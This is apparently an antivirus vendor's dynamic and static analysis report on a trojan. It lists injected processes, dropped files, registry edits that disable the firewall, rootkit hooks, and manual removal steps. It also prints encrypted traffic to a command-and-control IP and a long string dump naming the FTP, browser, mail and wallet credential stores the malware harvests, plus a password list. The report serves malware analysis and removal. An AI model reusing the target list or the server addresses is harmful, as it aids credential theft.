Trojan.GenericKD.2524099_bd147b6fc5 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

netsh.exe:1204
%original file name%.exe:1288
syshost.exe:420

The Trojan injects its code into the following process(es):

svchost.exe:236

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1288 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Installer\{454FA2CA-3D04-6CA2-AB89-D64287915850}\syshost.exe (601 bytes)

The process syshost.exe:420 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\config\SYSTEM.LOG (25752 bytes)
%WinDir%\Temp\ea78d764-43f9-1ffb-4bcf-493c21e46cff.tmp (344 bytes)
%System%\drivers\7f5d7.sys (1921 bytes)
%System%\config\system (8952 bytes)
%WinDir%\Temp\e9b6afb8-f3dd-ea55-fa6c-a4aee79d1816.tmp (26 bytes)
%System%\config (2120 bytes)
C:\$Directory (8 bytes)
%WinDir%\Temp\348f22c0-7a22-8aa7-aaf7-9ffcc82e51d3.tmp (85 bytes)
%WinDir%\Temp\881c2ffb-09cf-ebd1-598f-b6b420f6280d.tmp (94 bytes)

Registry activity

The process netsh.exe:1204 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"EnableFirewall" = "0"
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FC D8 A8 37 30 00 58 E9 D0 BC CF 95 F7 21 0E 11"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The process %original file name%.exe:1288 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 70 FA 6E 9D C0 76 B5 57 9B 82 ED F0 E4 D3 8D"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\432a57d8.tmp,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process syshost.exe:420 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\syshost32]
"7ff39b0020e3e67" = "D9 E8 35 10 2B 77 1A AB 8F 62 49 ED EA 46 AB E8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Services\syshost32]
"4ec6bf2f71721450" = "A9 31 50 30 D0 6E 7B 20"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\syshost32]
"93704454f4ff0370" = "5B 10 70 10 68 B2 BC D0 3E 4A 2B 07 68 7D 79 10"

"9a8adc731e42ce1" = "71 B6 20 E4 50 CC"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\System\CurrentControlSet\Services\syshost32]
"dcf8bb6e60d8e1b7" = "B6 D1 67 A1 DA E0 F7 16"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "89 82 B5 2F E0 12 55 78 77 1C 9C 51 C6 AC 21 31"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\syshost32]
"19205214a63e6c2" = "73 7F A7 5B 02 6E A2 CE B8 59 F7 C0"
"76a41a40574ccb74" = "C5 DC 44 BF E1 CB 7B 17 EC 38 6F 6C"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "%System%\Drivers\b8ac9704130d687b.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "%System%\Drivers\b8ac9704130d687b.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver "%System%\Drivers\b8ac9704130d687b.sys" the Trojan controls operations with a system registry by installing the registry notifier.

The Trojan installs the following kernel-mode hooks:

ZwOpenProcess
ZwOpenThread

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
netsh.exe:1204
%original file name%.exe:1288
syshost.exe:420
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\Installer\{454FA2CA-3D04-6CA2-AB89-D64287915850}\syshost.exe (601 bytes)
%System%\config\SYSTEM.LOG (25752 bytes)
%WinDir%\Temp\ea78d764-43f9-1ffb-4bcf-493c21e46cff.tmp (344 bytes)
%System%\drivers\7f5d7.sys (1921 bytes)
%System%\config\system (8952 bytes)
%WinDir%\Temp\e9b6afb8-f3dd-ea55-fa6c-a4aee79d1816.tmp (26 bytes)
C:\$Directory (8 bytes)
%WinDir%\Temp\348f22c0-7a22-8aa7-aaf7-9ffcc82e51d3.tmp (85 bytes)
%WinDir%\Temp\881c2ffb-09cf-ebd1-598f-b6b420f6280d.tmp (94 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: GnuWin32

Legal Trademarks: Original Filename: gengetopt.exeInternal Name: gengetoptFile Version: 2.20.2744.43142File Description: Gengetopt: generate a C function that parses and validates command-line optionsComments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	54006	54272	5.20113	65ee86653e4d6542fae3e49b2fc50411
.rdata	61440	11696	11776	4.7636	2bf411225e2574abac544e9668273432
.data	73728	15532	11776	5.17321	99f936da63717d61c99f4454820f5145
.rsrc	90112	26360	26624	4.37039	75a6e4c5187016d16a080a4c623933d6

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://185.74.252.180/forum/db.php
npkxghmoru.biz	195.22.26.231
insertconsultores.es	82.194.93.49
1.pool.ntp.org	79.142.192.130
0.pool.ntp.org	91.210.190.13
microsoft.com	134.170.185.46
2.pool.ntp.org	91.218.89.74

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /forum/db.php HTTP/1.1

Content-Type: application/octet-stream

Host: 185.74.252.180

Content-Length: 245

Connection: Keep-Alive

Pragma: no-cache

.4.)Gc.......U.7.QWx..3H....k.d[.L..$...

.7Np.....Q...LP.:%.$..l..o..S.O.........L......L....RG......D......PP....{.0M...|t....zeG......a*@N.,y...o....4...._.......8v...;... ..qX.....>v....F..U[.P.V...C.K...l|.O.5.....a...D.U.mL..g....H..qG.\.

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Aug 2015 09:54:34 GMT

Content-Length: 19165

Connection: keep-alive

.Q?.~.!..g?......v.....wMC_..e.*..g8.-....<,..[.......q.x.x...U....9~8L;.B...F0Lh.9?..(.L.s.....E}JA..e..........\...B/4.?UO)..n.....;.D."?-nv(t.6....ai$.(.s..?....Q..z...c..W0FlT>.E..{..4B.{..=UU.T..{"y..|7L.._..{2ju%..U...K.3....\m[....."...>gO.\.eF#/.R........*..O...0e.!.O....T.f.LC5.......I...v]fWW.7..QDv[.ri.............>a.'Y...5b..s.l..;fP.9<#...bi.B....m...H....TQi......{..A..4..-.D.q.k~."......'7....MOsX......^Y..=D].O... ^#N.......>..0.c...8.I@9Ws),........%..:.........^1........Qt..N8)......KA.k.TK..b...v.g./.k....O.5....f....z...Jl..>.9.-.....`..-......].(Vx....k.a.x.@..s....l..T.}f.....X.r........<g..'IHQ/..Q.:.M46.J..0..U.0...Z.EY..P.0.._...Q..k..n...x.)W\...Y.....)..[b..Y....m..W.i....V.e=9.Wt^.....'!...p)l..3j4..a..#R<..{.R..n..b.f.z:.D..;(.;%..X..9.0...g.&....2|.p&..yqX.Pj.k.].]l%..v|.G..>..%...~.K..7.....i....#.4.&..(.HWk......Pg..................Vd..!.....`....J...p8.......w..d.....bD.v..@..uIy...%4.).].E............ .......|..c?!....9......$...._<.....`.3R.....;b.?......zi.[f.d.}.....=.4....aK>.$|...{......O.H....E.}?{.w..T.[E...I...j8...y..$;w...1...wl...(1...u......:mf.qOg....kq...7.a........%.1..i....y.Qp....;.`em.....$.9.@<9...Y.........X......}z..01%..w.6~..L..o..u....)m.........*...'[...\.:%..........l.....a.q..6.....T.8...5p.@ Aa.D...HH..e......<J......O.`..'Q.{Q.....(f3.....Zn.......0A..,.F.d.#..)..W..L.B1#...4.."..Y....|1."..C-..n........I...(....JQ..A...0..}...4....:.9...cI..........h.....[.tZv.%G.5.v..bb..t^.V.[5...S..u..d.R........J%9.pXV.

<<< skipped >>>

POST /forum/db.php HTTP/1.1

Content-Type: application/octet-stream

Host: 185.74.252.180

Content-Length: 54

Connection: Keep-Alive

Pragma: no-cache

...!..C.........fo.?P..d...Kc.1...../....6.#V ..]C..x

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Aug 2015 09:54:35 GMT

Content-Length: 40737

Connection: keep-alive

.........1.rj...0X..i..........b@...~.n#.._.zR.8..b......z(!B.....f.:....W.........\..^.....W 0...o.-.N1.. .Wx..&l.W.U-k..F..;...,=H.5...t.....~....st_.....J......N).F...'...9#i<R...W%.....^.T...k......."..5..L.6jn..u...<.../.r...|;..%g...&:..\\..._.k.k...2.:..n.>..su...U.A.3.#ib.Su.....T:O ...PiY...JJ.fqs.;..NYBd<..*.{y .......,..l,.....IO<...a..I..PE.......M8....YX.r~..V........*..FY....5.^....z=...... _.N..M.r.......... ..#.....C....h.i,....0^.[.TH$=.5........(f.......:....,.O.|%.CWj(D<=W.4..3..;..K...^.......:6./.....5...:.. uj....:...Li...............L..I!.[./^D.C)..T].z.z...g...B...I.............'...... /m..a..GM.J.k..J...Kq....U._..<.BXc..x.m%u..f....L$2..*L..j...\......X....)kS.O.7.%.$.....TU.z....E&...>mu >.x......./B.....Q1'..N...&.0.:..x.!.y..3n.......r...X......(s>..iu......HLfq.....#........b....L4...s...H:.d..5 .......}.e...66N}....A.D`[.?............8..Bo.dt. p...[u"E.......>.m...... .Xw.......7...;.%U:..IQME.....b.s.P.8.h.L.k...PA..X..i....).v.2..pKu%4...Y..M<0......3o..V9g.....x.......b.o..l......I..'J.<9b|.u'K....a\.>.....[.....d.....B@...=...}.........8.,8(.MeU.b1.#..?A..\.C:...~.<.....R./.e.%..%..Wg.Cm... .Iv.Bg.s.HQ..a.[:..w]..8..gC.Fh..`.S.........>.....( ..w5...r..S..e*..I..UW./.,....=.g.>....n.M.r...I.OA..$..[..I&,....qv.0A...?...............,.G.e......w....Y...h.h...T ....A.....L6(K_...^^.....~.Y.bR1f...a...a$.w/....-89@iX...h"....^dv....8...Q@X.h.........HQC.....V.r^.e.L.....t..M.Hq.......Q0t6..!....=.....n......q..|.B_.].2P.f..b......

<<< skipped >>>

POST /forum/db.php HTTP/1.1

Content-Type: application/octet-stream

Host: 185.74.252.180

Content-Length: 54

Connection: Keep-Alive

Pragma: no-cache

L\kM.....f..{.Zr..>..E..s.1...T....}L1.>.].*x..-.Q.cb

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Aug 2015 09:54:35 GMT

Content-Length: 44408

Connection: keep-alive

nf..Y.,...8..M.]..!q!.=.d..(.H..('.".......*.1.n.K.jI%...8Z..`^n..._.v...3...u..$rL.Mi....E.\.=Z....n.~....q.41...G...n.......!.u>...[.r....T....9.4Lb.....d.Y..s..g......yR.ON...!.R......S....A....7th.Nb4...,....QHd.b......V^k...9.*..;WF..3..o..y...o.0{....H@'.1E}...f.......2R......m.3p./..|C..NM.22..].n..5.NL...U.o....m..(.u.G3.j{...-A.n....j...RUI.a.....Y.w=.S..H..1s..`...w........$...l...hF...r...O.....~..=....[.......C.}..6..o.K FZ....~9v}../.A..~MG..O.U.....i....,.r.1..._w....v .......p...,..T....^b....N..F.4...gy..........?.h],5..1..3.....$&.WX.yA3z....7jn..J>.O.F@....~.oi.....@......i...:v<...4....M.`.o6...z7}.F..dn..H'.8..j..u..h..j.Q..f.....q.'f....l....~..'.1.>}.H.{..S...-...A..a%l..]....5B@n......eo....5.e.{..B.x*..$c~. w............A68..X..51Uy.%...8qC8.R.N.S.-...;..\.g.i..4....#.f...... ..fJ..n...CuUg.GW..o......z....R=.5.d.m)K....%.......j.....#......W%...)..... M.C..7.|..l.4....x.P.A.......Rr..L......%..y......4>......W...0GE..`..z.@...m.v...h..F...........6..>hQ7.J5.oY?..<......-^....>l.7.....T.3.uc..\B.(*..K.g...q...Z...........ak.}.....\.R....!....Y........C.Y.....>6G...ui@...R3.....^O.1s?\..?A~r7..../Q......;.......ap...C.....?.........*....^.E|.....,..J.0p.......... ..[..,x74g..~.)..... .....4{F...>..~.>.>....1N......Q....A.ES........Zx.)..y.I7....~.&p.. .t*.....&h.e..|..x..X_......7...(...z.9C.^.l\o.q.,.v,.zJ.dl._...v5..G..gE..E...h.yG....t.Q.c?.W...Y.%........Iw..../.z...P....ER..D_)|....4.Lwd,...|..P..8...n...;....k.<.....C...^.......1.T..O.~..CL...z

<<< skipped >>>

POST /forum/db.php HTTP/1.1

Content-Type: application/octet-stream

Host: 185.74.252.180

Content-Length: 232

Connection: Keep-Alive

Pragma: no-cache

...zrC.$Q<s..=6Qu#.....;h.X.l......9..5.;n.....B.7..x9..p..s..I.y./.....8v.n.X..w.....i..._........[....";.w. ....^.3k-..dR.......1.p..S..r.d....YG)...h......._.c....nS....O& ..m:f......Po\.U../.;......_...._!

.!3....G.8..;n..>..

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 08 Aug 2015 09:54:36 GMT

Content-Length: 175

Connection: keep-alive

^.q..U.XQq.....LV.M.D......['_:...D.T.5....l...x.@W0.F..@).B...[...b..5..l...~W.t......[1...". .wc.%......d.N....7._~..... r:...EuaD.fv.f~.x}-..........|.y....3.w.............HTTP/1.1 200 OK..Server: nginx..Date: Sat, 08 Aug 2015 09:54:36 GMT..Content-Length: 175..Connection: keep-alive..^.q..U.XQq.....LV.M.D......['_:...D.T.5....l...x.@W0.F..@).B...[...b..5..l...~W.t......[1...". .wc.%......d.N....7._~..... r:...EuaD.fv.f~.x}-..........|.y....3.w...............

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

svchost.exe_236:

.text

`.rdata

@.data

tEh.sA

More information: hXXp://VVV.ibsensoftware.com/

hXXp://insertconsultores.es/docs/search.php

hXXp://sintnet.it/cli/cli.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

userenv.dll

vshell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)

POST %s HTTP/1.0

Host: %s

User-Agent: %s

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 9\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

\Opera Software

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.PTF.backup

FTPVoyager.PTF.old.backup

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

SQLite format 3

Web Data

Login Data

logins

origin_url

password_value

moz_logins

encryptedPassword

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

<_op3_password2>

<_mtp_password2>

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

wallet.dat

electrum.dat

.wallet

Accounts.ini

\Maxprog\FTP Disk

passw0rd

11111111

123456789

1234567

12345678

windows

password1

password

monkey

1234567890

7777777

hockey

smokey

asshole

mickey

STATUS-IMPORT-OK

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

user32.dll

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

wininet.dll

shlwapi.dll

urlmon.dll

wsock32.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

svchost.exe_236_rwx_00400000_0001B000:

.text

`.rdata

@.data

tEh.sA

More information: hXXp://VVV.ibsensoftware.com/

hXXp://insertconsultores.es/docs/search.php

hXXp://sintnet.it/cli/cli.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

userenv.dll

vshell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)

POST %s HTTP/1.0

Host: %s

User-Agent: %s

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

